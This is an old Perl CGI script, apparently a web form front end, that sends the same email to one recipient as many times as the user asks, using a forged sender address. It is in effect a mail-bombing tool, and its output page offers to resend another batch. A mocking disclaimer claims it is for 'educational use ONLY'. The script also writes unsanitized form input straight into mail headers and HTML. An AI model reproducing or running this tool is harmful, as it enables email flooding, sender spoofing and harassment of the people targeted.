#!/usr/local/bin/perl
# © 2000+ All rights reserved
# MlNlON\@webtv.net
# Name the file "mail.pl" if otherwise
# put the name of the file below.
$filename = "mail.pl";
# Define the path to send mail.
$path = "/var/qmail/bin/qmail-inject";
$disclaimer = "I am in NO way responsible for your use of this tool. I have created this for educational use ONLY pffft.. lol if you continue you agree to take any and all consequences for your actions."; use CGI qw(param); print "Content-type:text/html\n\n"; print "
";
$from = param("from");
$to = param("to");
$amount = param("amount");
$subject = param("subject");
$message = param("message");
if ($to eq ""){
print ""; } if ($to ne ""){ print "
Below is copy of what was sent out.You may resend another $amount emails to $to by clicking here or click here to return to the first
page. | From: | $from | | To: | $to | | Date: | "; &time; print " | | Subject: | $subject |
$message |
|
"; for ($e = 1; $e <= $amount; $e++){
open(MAIL,"|$path");
print MAIL "To: $to\n";
print MAIL "From: $from\n";
print MAIL "Subject: $subject\n\n";
print MAIL "$message\n"; close(MAIL); }} sub time {
# Thanks to Matthew Wright
# for the following clock.
$Display_Week_Day = '1';
$Display_Month = '1';
$Display_Month_Day = '1';
$Display_Year = '1';
$Display_Time = '1';
$Display_Time_Zone = '1';
$Standard_Time_Zone = '(EST)';
$Daylight_Time_Zone = '(EDT)';
@Week_Days = ('Sun','Mon','Tue','Wed','Thur','Fri','Sat'); @Months = ('Jan','Feb','March','April','May','June','July','Aug','Sept','Oct','Nov','Dec'); ($Second,$Minute,$Hour,$Month_Day, $Month,$Year,$Week_Day,$IsDST) = (localtime)[0,1,2,3,4,5,6,8]; if ($IsDST == 1){ $Time_Zone = $Daylight_Time_Zone; } else { $Time_Zone = $Standard_Time_Zone; } if ($Second < 10) { $Second = "0$Second"; } if ($Minute < 10) { $Minute = "0$Minute"; } if ($Hour < 10){
$Hour = "0$Hour"; }
if ($Month_Day < 10){
$Month_Day = "0$Month_Day"; }
$Year += 1900;
if ($Display_Week_Day != 0){
print "$Week_Days[$Week_Day]";
if ($Display_Month != 0){
print ", "; }}
if ($Display_Month != 0){
print "$Months[$Month] "; }
if ($Display_Month_Day != 0){
print "$Month_Day";
if ($Display_Year != 0){
print ", "; }}
if ($Display_Year != 0){
print "$Year";
if ($Display_Time != 0){
print " "; }
elsif ($Display_Time_Zone != 0){
print " ";}}
if ($Display_Time != 0){
print "$Hour\:$Minute\:$Second";
if ($Display_Time_Zone != 0){
print " "; }}
if ($Display_Time_Zone != 0){
print "$Time_Zone"; }}